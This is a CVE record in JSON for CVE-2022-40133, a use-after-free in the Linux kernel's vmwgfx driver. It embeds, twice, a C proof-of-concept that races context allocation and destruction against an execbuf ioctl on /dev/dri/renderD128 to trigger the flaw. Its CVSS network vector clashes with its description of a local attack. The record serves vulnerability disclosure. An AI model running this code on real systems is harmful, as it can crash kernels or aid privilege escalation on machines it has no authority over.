{"containers":{"cna":{"affected":[{"product":"kernel","vendor":"Linux","versions":[{"lessThan":"5.13.0-52*","status":"affected","version":"v4.20-rc1","versionType":"custom"}]}],"credits":[{"lang":"en","value":"Ziming Zhang(ezrakiez@gmail.com) from Ant Group Light-Year Security Lab"}],"datePublic":"2022-09-06T00:00:00.000Z","descriptions":[{"lang":"en","value":"A use-after-free(UAF) vulnerability was found in function 'vmw_execbuf_tie_context' in drivers/gpu/vmxgfx/vmxgfx_execbuf.c in Linux kernel's vmwgfx driver with device file '/dev/dri/renderD128 (or Dxxx)'. This flaw allows a local attacker with a user account on the system to gain privilege, causing a denial of service(DoS)."}],"exploits":[{"lang":"en","value":"#include <stdio.h>\n#include <string.h>\n#include <unistd.h>\n#include <errno.h>\n\n#include <linux/if_tun.h>\n#include <net/if.h>\n#include <sys/ioctl.h>\n#include <sys/types.h>\n#include <sys/stat.h>\n#include <fcntl.h>\n#include <pthread.h>\n#include <sys/socket.h>\n#include <string.h>\n#include <unistd.h>\n#include <stdlib.h>\n#include <sys/ioctl.h>\n#include <errno.h>\n#include <stdio.h>\n#include <fcntl.h>\n#include <pthread.h>\n#include <stdio.h>\n#include <sys/types.h>\n#include <stdint.h>\n#include <netinet/ip.h>\n#include <sys/resource.h>\n#include <sys/syscall.h>\n#include <limits.h>\n#include <sys/mman.h>\n\n#include <linux/fs.h>\nint sid =0;\nint fd = 0;\nint handle=0;\nint cid=0;\ntypedef struct mixer\n{\n\tint index;\n\tint fd;\n\tchar *msg;\n}mixer_t;\n\nstruct drm_vmw_surface_create_req {\n\t__u32 flags;\n\t__u32 format;\n\t__u32 mip_levels[6];\n\t__u64 size_addr;\n\t__s32 shareable;\n\t__s32 scanout;\n};\nstruct drm_vmw_execbuf_arg {\n\t__u64 commands;\n\t__u32 command_size;\n\t__u32 throttle_us;\n\t__u64 fence_rep;\n\t__u32 version;\n\t__u32 flags;\n\t__u32 context_handle;\n\t__s32 imported_fence_fd;\n};\nvoid init(){\nif ((fd = open(\"/dev/dri/renderD128\", O_RDWR)) == -1)\n                {\n                        printf(\"open tun failed: %s\\n\", strerror(errno));\n                        return -1;\n                }\n       \n}\nvoid poc(int sid,int cid){   \nint cmd[0x1000]={0};\ncmd[0]=1148;\ncmd[1]=0x50;\ncmd[2]=0;\ncmd[3]=1;\ncmd[4]=sid;\ncmd[5]=10;\nstruct drm_vmw_execbuf_arg arg={0};\n\targ.commands=cmd;\n\targ.command_size=0x100;\n\targ.version=2;  \n\targ.context_handle=cid;\n                if (ioctl(fd, 0x4028644C, &arg) == -1)\n                {\n                        printf(\"poc failed: %s\\n\", strerror(errno));\n                        return -1;\n                }\n\n}\nint create_surface(){\nint buf[0x100]={0};\nbuf[0]=64;\nbuf[1]=64;\nbuf[2]=64;\n\nstruct drm_vmw_surface_create_req arg={0};\narg.flags=0;\narg.format=2;\narg.mip_levels[0]=1;\narg.size_addr=buf;\narg.shareable=0;\narg.scanout=0x10;\n\nif (ioctl(fd, 0xC0306449, &arg) == -1)\n                {\n                        printf(\"ioctl tun failed: %s\\n\", strerror(errno));\n                        return -1;\n                }\nreturn arg.flags;\n}\nint alloc_context(){\n\nint arg[0x10]={0};\narg[0]=0;\narg[1]=0x100;\n\nif (ioctl(fd, 0x80086447, &arg) == -1)\n                {\n                        printf(\"ioctl tun failed: %s\\n\", strerror(errno));\n                        return -1;\n                }\n   return arg[0];         \n}\n\n\n\nvoid destory_context(int sid){\n\nint arg[0x10]={0};\narg[0]=sid;\nif (ioctl(fd, 0x40086448, &arg) == -1)\n                {\n                        printf(\"destory_surface failed: %s\\n\", strerror(errno));\n                        return -1;\n                }       \n}\nvoid thread1(){\nwhile(1){\ncid = alloc_context(); \ndestory_context(cid); \n}\n}\nvoid thread2(){\nwhile(1){\npoc(sid,cid);  \n}\n\n}\n\n\nint main(int ac, char **argv)\n{\n pthread_t tid1,tid2;\n\n    \n\ninit();\nsid=create_surface();\n\n\n        if(pthread_create(&tid1,NULL,thread1,NULL)){\n                perror(\"thread_create\");\n        }\n\n\t\n              if(pthread_create(&tid2,NULL,thread2,NULL)){\n                perror(\"thread_create\");\n        }\n        \n        while(1){\n        sleep(3);\n        \n        }\n\n\n}"}],"metrics":[{"cvssV3_1":{"attackComplexity":"LOW","attackVector":"NETWORK","availabilityImpact":"HIGH","baseScore":6.3,"baseSeverity":"MEDIUM","confidentialityImpact":"NONE","integrityImpact":"LOW","privilegesRequired":"LOW","scope":"UNCHANGED","userInteraction":"REQUIRED","vectorString":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:L/A:H","version":"3.1"}}],"problemTypes":[{"descriptions":[{"cweId":"CWE-416","description":"CWE-416 Use After Free","lang":"en","type":"CWE"}]}],"providerMetadata":{"dateUpdated":"2022-09-09T14:39:51.000Z","orgId":"cb8f1db9-b4b1-487b-a760-f65c4f368d8e","shortName":"Anolis"},"references":[{"tags":["x_refsource_MISC"],"url":"https://bugzilla.openanolis.cn/show_bug.cgi?id=2075"}],"source":{"defect":["https://bugzilla.openanolis.cn/show_bug.cgi?id=2075"],"discovery":"INTERNAL"},"title":"There is an UAF vulnerability in vmwgfx driver","x_generator":{"engine":"Vulnogram 0.0.9"},"x_legacyV4Record":{"CVE_data_meta":{"AKA":"Anolis","ASSIGNER":"security@openanolis.org","DATE_PUBLIC":"2022-09-06T07:00:00.000Z","ID":"CVE-2022-40133","STATE":"PUBLIC","TITLE":"There is an UAF vulnerability in vmwgfx driver"},"affects":{"vendor":{"vendor_data":[{"product":{"product_data":[{"product_name":"kernel","version":{"version_data":[{"version_affected":">=","version_name":"5.13.0-52","version_value":"v4.20-rc1"}]}}]},"vendor_name":"Linux"}]}},"credit":[{"lang":"eng","value":"Ziming Zhang(ezrakiez@gmail.com) from Ant Group Light-Year Security Lab"}],"data_format":"MITRE","data_type":"CVE","data_version":"4.0","description":{"description_data":[{"lang":"eng","value":"A use-after-free(UAF) vulnerability was found in function 'vmw_execbuf_tie_context' in drivers/gpu/vmxgfx/vmxgfx_execbuf.c in Linux kernel's vmwgfx driver with device file '/dev/dri/renderD128 (or Dxxx)'. This flaw allows a local attacker with a user account on the system to gain privilege, causing a denial of service(DoS)."}]},"exploit":[{"lang":"en","value":"#include <stdio.h>\n#include <string.h>\n#include <unistd.h>\n#include <errno.h>\n\n#include <linux/if_tun.h>\n#include <net/if.h>\n#include <sys/ioctl.h>\n#include <sys/types.h>\n#include <sys/stat.h>\n#include <fcntl.h>\n#include <pthread.h>\n#include <sys/socket.h>\n#include <string.h>\n#include <unistd.h>\n#include <stdlib.h>\n#include <sys/ioctl.h>\n#include <errno.h>\n#include <stdio.h>\n#include <fcntl.h>\n#include <pthread.h>\n#include <stdio.h>\n#include <sys/types.h>\n#include <stdint.h>\n#include <netinet/ip.h>\n#include <sys/resource.h>\n#include <sys/syscall.h>\n#include <limits.h>\n#include <sys/mman.h>\n\n#include <linux/fs.h>\nint sid =0;\nint fd = 0;\nint handle=0;\nint cid=0;\ntypedef struct mixer\n{\n\tint index;\n\tint fd;\n\tchar *msg;\n}mixer_t;\n\nstruct drm_vmw_surface_create_req {\n\t__u32 flags;\n\t__u32 format;\n\t__u32 mip_levels[6];\n\t__u64 size_addr;\n\t__s32 shareable;\n\t__s32 scanout;\n};\nstruct drm_vmw_execbuf_arg {\n\t__u64 commands;\n\t__u32 command_size;\n\t__u32 throttle_us;\n\t__u64 fence_rep;\n\t__u32 version;\n\t__u32 flags;\n\t__u32 context_handle;\n\t__s32 imported_fence_fd;\n};\nvoid init(){\nif ((fd = open(\"/dev/dri/renderD128\", O_RDWR)) == -1)\n                {\n                        printf(\"open tun failed: %s\\n\", strerror(errno));\n                        return -1;\n                }\n       \n}\nvoid poc(int sid,int cid){   \nint cmd[0x1000]={0};\ncmd[0]=1148;\ncmd[1]=0x50;\ncmd[2]=0;\ncmd[3]=1;\ncmd[4]=sid;\ncmd[5]=10;\nstruct drm_vmw_execbuf_arg arg={0};\n\targ.commands=cmd;\n\targ.command_size=0x100;\n\targ.version=2;  \n\targ.context_handle=cid;\n                if (ioctl(fd, 0x4028644C, &arg) == -1)\n                {\n                        printf(\"poc failed: %s\\n\", strerror(errno));\n                        return -1;\n                }\n\n}\nint create_surface(){\nint buf[0x100]={0};\nbuf[0]=64;\nbuf[1]=64;\nbuf[2]=64;\n\nstruct drm_vmw_surface_create_req arg={0};\narg.flags=0;\narg.format=2;\narg.mip_levels[0]=1;\narg.size_addr=buf;\narg.shareable=0;\narg.scanout=0x10;\n\nif (ioctl(fd, 0xC0306449, &arg) == -1)\n                {\n                        printf(\"ioctl tun failed: %s\\n\", strerror(errno));\n                        return -1;\n                }\nreturn arg.flags;\n}\nint alloc_context(){\n\nint arg[0x10]={0};\narg[0]=0;\narg[1]=0x100;\n\nif (ioctl(fd, 0x80086447, &arg) == -1)\n                {\n                        printf(\"ioctl tun failed: %s\\n\", strerror(errno));\n                        return -1;\n                }\n   return arg[0];         \n}\n\n\n\nvoid destory_context(int sid){\n\nint arg[0x10]={0};\narg[0]=sid;\nif (ioctl(fd, 0x40086448, &arg) == -1)\n                {\n                        printf(\"destory_surface failed: %s\\n\", strerror(errno));\n                        return -1;\n                }       \n}\nvoid thread1(){\nwhile(1){\ncid = alloc_context(); \ndestory_context(cid); \n}\n}\nvoid thread2(){\nwhile(1){\npoc(sid,cid);  \n}\n\n}\n\n\nint main(int ac, char **argv)\n{\n pthread_t tid1,tid2;\n\n    \n\ninit();\nsid=create_surface();\n\n\n        if(pthread_create(&tid1,NULL,thread1,NULL)){\n                perror(\"thread_create\");\n        }\n\n\t\n              if(pthread_create(&tid2,NULL,thread2,NULL)){\n                perror(\"thread_create\");\n        }\n        \n        while(1){\n        sleep(3);\n        \n        }\n\n\n}"}],"generator":{"engine":"Vulnogram 0.0.9"},"impact":{"cvss":{"attackComplexity":"LOW","attackVector":"NETWORK","availabilityImpact":"HIGH","baseScore":6.3,"baseSeverity":"MEDIUM","confidentialityImpact":"NONE","integrityImpact":"LOW","privilegesRequired":"LOW","scope":"UNCHANGED","userInteraction":"REQUIRED","vectorString":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:L/A:H","version":"3.1"}},"problemtype":{"problemtype_data":[{"description":[{"lang":"eng","value":"CWE-416 Use After Free"}]}]},"references":{"reference_data":[{"name":"https://bugzilla.openanolis.cn/show_bug.cgi?id=2075","refsource":"MISC","url":"https://bugzilla.openanolis.cn/show_bug.cgi?id=2075"}]},"source":{"defect":["https://bugzilla.openanolis.cn/show_bug.cgi?id=2075"],"discovery":"INTERNAL"}}},"adp":[{"providerMetadata":{"orgId":"af854a3a-2127-422b-91ae-364da2661108","shortName":"CVE","dateUpdated":"2024-08-03T12:14:39.687Z"},"title":"CVE Program Container","references":[{"tags":["x_refsource_MISC","x_transferred"],"url":"https://bugzilla.openanolis.cn/show_bug.cgi?id=2075"}]}]},"cveMetadata":{"assignerOrgId":"cb8f1db9-b4b1-487b-a760-f65c4f368d8e","assignerShortName":"Anolis","cveId":"CVE-2022-40133","datePublished":"2022-09-09T14:39:51.501Z","dateReserved":"2022-09-07T00:00:00.000Z","dateUpdated":"2024-09-17T03:49:24.624Z","state":"PUBLISHED"},"dataType":"CVE_RECORD","dataVersion":"5.1"}